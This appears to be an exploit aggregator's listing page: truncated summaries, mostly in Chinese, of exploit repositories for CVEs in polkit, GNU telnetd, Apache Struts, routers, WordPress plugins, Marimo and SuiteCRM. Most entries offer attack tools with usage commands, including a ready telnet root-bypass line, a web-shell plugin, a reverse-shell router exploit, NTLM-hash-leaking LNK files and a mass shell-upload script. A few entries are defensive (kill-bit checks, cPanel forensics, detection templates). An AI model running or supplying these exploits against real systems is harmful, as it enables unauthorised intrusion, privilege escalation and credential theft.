webcgi-exploits

Web CGI Exploits 这是我前几年写的和Web CGI相关的各种exp的集合。 原理 通常情况下，web的应用架构是这样分层的: 1. web应用程序 2. web框架 3. 脚本语言解释器 4. web容器服务器 5. web前端反向代理通常是nginx等等. 4 & 5 有可能是同一个东西，甚至有些时候3 & 4也可能是同一个东西。...

CVE-2026-31431

CVE-2026-31431 CVE-2026-31431检测和测试 0x01 Quick Start Some target environments do not have Python installed, so this privilege escalation logic was rewritten in C. 1. Compile Run the following command on your Linux machine or WSL using -static is recommended to avoid GLIBC version issues:...

CVE-2021-4034

CVE-2021-4034 漏洞利用 使用方法 root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root 临时修补 root@kitploit: chmod 0755...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可享受 root shell。 原作者发布的官方公告见此处 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT//...

CVE-2026-21509-handler

CVE-2026-21509 Office Kill-Bit 管理器 用于检查、应用和测试 针对 CVE-2026-21509 Microsoft Office 零日漏洞（影响 Office 2016/2019/LTSC）的 Kill-Bit 保护的 PowerShell 脚本。 什么是 CVE-2026-21509？ Microsoft Office OLE/COM 处理中的严重 RCE 漏洞 （CVSS 9.8）。已被 APT28（Fancy Bear）通过恶意 RTF/DOC 文件积极利用，针对 Shell.Explorer COM 对象...

CVE-2023-50164-PoC

CVE-2023-50164（Apache Struts 路径遍历到 RCE 漏洞）- 概念验证 此 PoC 旨在通过利用 Apache Struts2 漏洞来测试 RCE（远程代码执行）。 构建镜像并运行容器： root@kitploit: $ DOCKERBUILDKIT=1 docker build . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc 运行漏洞利用程序： root@kitploit: $ cd exploit $ ./exploit.sh 现在你可以在服务器端执行任意命令，如下所示...

CVE-2026-32202

免责声明 本工具仅用于授权的红队演练和渗透测试 。 未经明确许可对系统进行未授权使用属违法行为。 使用风险自负。作者对任何滥用或损害不承担任何责任。 描述 通过不完整的 Windows Shell 保护绕过（CVE-2026-32202）实现 NTLMv2 哈希强制获取。生成特制的 LNK 文件，在资源管理器中打开或预览时强制进行 SMB/UNC 身份验证。低交互性，在 2026 年 4 月修复不充分的已修补系统上仍然有效。已在实战中积极使用。 主要特性 通过恶意 LNK（资源管理器预览 + 图标解析路径）实现零点击/最小交互的 Net-NTLMv2 泄露。 自定义 SMB...

wonderplugin

Wonderplugin para RCE ¡NO USES ESTE PLUGIN FALSO EN TU SERVIDOR WEB DE PRODUCCIÓN! Este repositorio está destinado a probar una vulnerabilidad en WonderCMS; este plugin falso contiene una puerta trasera web shell, que puedes encontrar en el archivo evil.php. Artículo relacionado WonderCMS 3.1.3 -...

CVE-2025-32463

CVE-2025-32463 - 设置与执行指南 这是我第一次将恶意漏洞利用移植到 Nuclei 模板中，用于非侵入式漏洞扫描，同时仍能演示底层问题。 我特意将这一过程记录得更加详细，作为一次学习练习。 我遇到的主要挑战是： 如何将原始漏洞利用代码修改为安全版本，使其能够有效测试权限提升，而不会像原始漏洞利用那样获取 root shell。 在使用代码引擎时，我遇到了一些 Nuclei 模板语法问题。我不习惯以这种方式创建模板，因此多次因为需要签署模板并包含 -itags local 参数而受阻，因为本地标签在 .nuclei-ignore 设置中默认被忽略。 我不确定在模板内编译 C...

CVE-2026-24061

CVE-2026-24061 复现步骤 构建镜像 root@kitploit: docker build -t telnetd-bypass . 启动容器 root@kitploit: docker run -it --rm \ --name telnetd-vuln \ --privileged \ -p 23:23 \ telnetd-bypass 发送payload root@kitploit: USER='-f root' telnet -a 127.0.0.1 23 返回 root@kitploit: Trying 127.0.0.1... Connected to...

CVE-2026-24061

CVE-2026-24061 - telnetd 认证绕过 这是什么 telnetd（来自 GNU InetUtils）中的参数注入漏洞。受影响版本为 1.9.3 至 2.7。CVSS 评分为 9.8。自 2026 年 1 月 26 日起被列入 CISA KEV，意味着该漏洞已在野外被积极利用。 整个技巧在于 telnetd 通过 NEW-ENVIRON（RFC 1572）从客户端获取环境变量 USER 的值，并将其未经任何验证直接拼接到 login1 的调用中。如果客户端发送 USER="-f root"，telnetd 将执行： root@kitploit: /usr/bin/log...

CVE-2024-12856

CVE-2024-12856 这是一个针对四信（Four-Faith）路由器型号 F3x24 和 F3x36 的漏洞利用程序，用于获取反向 Shell。 “四信路由器型号 F3x24 和 F3x36 受到操作系统（OS）命令注入漏洞的影响。至少固件版本 2.0 允许经过身份验证的远程攻击者通过 apply.cgi 修改系统时间时，通过 HTTP 执行任意操作系统命令。此外，该固件版本存在默认凭据，如果未更改，实际上会将此漏洞转变为未经身份验证的远程操作系统命令执行问题。” 来源：nist.gov 此脚本基于 VulnCheck 观察到的载荷。 使用方法...

cpanel-forensics

CVE-2026-41940 之后的 cPanel/WHM 取证 用于在 CVE-2026-41940（CVSS 9.8）漏洞之后检查服务器的 Bash 脚本。 攻击者在 64 天内无需密码即可获得 root 访问权限——补丁无法清除已经植入系统内部的内容。 运行 root@kitploit: sudo bash cpanelforensics.sh 报告保存至 /tmp/forensicsreportДАТА.txt 检查内容 所有用户的 SSH authorizedkeys UID 为 0 的用户 通过 ld.so.preload 植入的 Rootkit 别名、PATH、命令替换...

CVE-2026-0740

ninja.py 一个针对 WordPress 站点 Ninja Forms 插件文件上传端点的实验性/工具脚本。它会依次向 list.txt 中的目标发送请求，并将成功的上传写入 shell.txt 文件。 要求 Python 3 requests（通常随 urllib3 一起安装） root@kitploit: pip install requests urllib3 文件结构 文件| 说明 ---|--- ninja.py| 主脚本。 list.txt| 目标 URL；每行一个 URL（http/https，可选端口）。空行将被忽略。 shell.txt|...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd 远程认证绕过 说真的，2026 年还在用 telnet？拜托各位，该换换了。SSH 从 1995 年就有了。 🤦 描述 GNU Inetutils telnetd 存在一个严重的认证绕过漏洞，影响 1.9.3 至 2.7 版本。 该漏洞利用 NEW-ENVIRON telnet 选项向 login1 注入恶意参数。攻击者通过 telnet 协议设置 USER=-f root，即可绕过认证，无需凭据即可获得 root shell。 受影响版本 GNU Inetutils 1.9.3 - 2.7 技术细节 telnet...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool 针对 Exiftool 中 CVE-2021-22204 漏洞的 Python 利用工具。 视频教程 Youtube root@kitploit: 404 未找到 依赖要求 root@kitploit: python3 python3-pip djvulibre-bin exiftool 安装依赖 Debian root@kitploit: apt-get install djvulibre-bin libimage-exiftool-perl python-minimal python-pip Ubuntu root@kitploit:...

CVE-2026-39987_exploit

🔥 CVE-2026-39987 | Marimo 预认证 RCE 漏洞利用 漏洞利用框架 | 完整远程代码执行（RCE） | WebSocket 认证绕过 🧠 了解命令详情 打开文件 website.html 🎯 概述 该漏洞利用针对在端口 2718（默认）上运行 WebSocket 的 Marimo 应用程序。该漏洞允许通过 WebSocket 认证绕过实现未授权命令执行 ，使攻击者获得完整的远程代码执行能力。 属性| 详情 ---|--- CVE ID| CVE-2026-39987 攻击向量| WebSocket 认证绕过 Shell 类型| 交互式 PTY（伪终端） 影响|...

CVE-2026-24061-GNU-Inetutils-telnetd-Remote-Authentication-Bypass-Root-Shell-

🧨 Resumen Este repositorio contiene un exploit de Prueba de Concepto para la vulnerabilidad de omisión de autenticación remota en GNU Inetutils telnetd. El problema surge porque telnetd no sanea adecuadamente la variable de entorno USER recibida a través de la negociación Telnet NEW‑ENVIRON antes...

CVE-2021-45897

CVE-2021-45897 CVE-2021-45897（又名 SCRMBT-180）的 PoC —— SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2021-45897 使用示例： root@kitploit: .venv ➜ CVE-2021-45897 git:main ✗ ./exploit.py -u user -p --payload "cat /etc/passwd"...

CVE-2026-22812

CVE-2026-22812 CVE-2026-22812 - 用于扫描 OpenCode 未认证 RCE 的 Nuclei 模板。 burp suite 请求 root@kitploit: POST /session HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 X11; Linux x8664 Content-Type: application/json Content-Length: 2 root@kitploit: POST /session/"id"/shell HTTP/1.1 Host: target.com...